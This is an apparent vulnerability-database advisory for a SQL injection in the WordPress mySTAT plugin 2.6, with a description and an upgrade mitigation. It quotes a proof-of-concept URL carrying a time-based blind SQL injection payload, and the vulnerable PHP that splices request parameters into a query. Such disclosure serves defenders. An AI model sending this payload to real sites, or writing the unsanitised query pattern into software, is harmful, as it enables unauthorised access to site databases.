WordPress mySTAT plugin - exploit.company

vendor:

mySTAT plugin

by:

Miroslav Stampar

CVSS

HIGH

SQL Injection

CWE

Product Name: mySTAT plugin

Affected Version From: 2.6

Affected Version To: 2.6

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:mystat

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress mySTAT plugin version 2.6 and earlier. The vulnerability is due to insufficient sanitization of user-supplied input in the 'd1' and 'd2' parameters of the 'mystat.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database.

Mitigation:

Upgrade to the latest version of the WordPress mySTAT plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mystat.2.6.zip
# Version: 2.6 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(isset($_GET['act'])){
    ...
    if ($_GET['act'] == 'stat_img') {
        myStat_stat_image();
        exit();
    };
};

function myStat_stat_image(){
    ...
    if(substr($_GET['d1'],0,10)!=substr($_GET['d2'],0,10)){
        $var=$cmn->getSQL("SELECT DATE_FORMAT(date,'%d-%m-%y'),count(*),sum(count),TO_DAYS(date) FROM `%%PREFIX%%myStat_main` WHERE date > ('".$_GET['d1']."') AND date < ('".$_GET['d2']."') GROUP BY TO_DAYS(date) ORDER BY date DESC LIMIT 0,30;");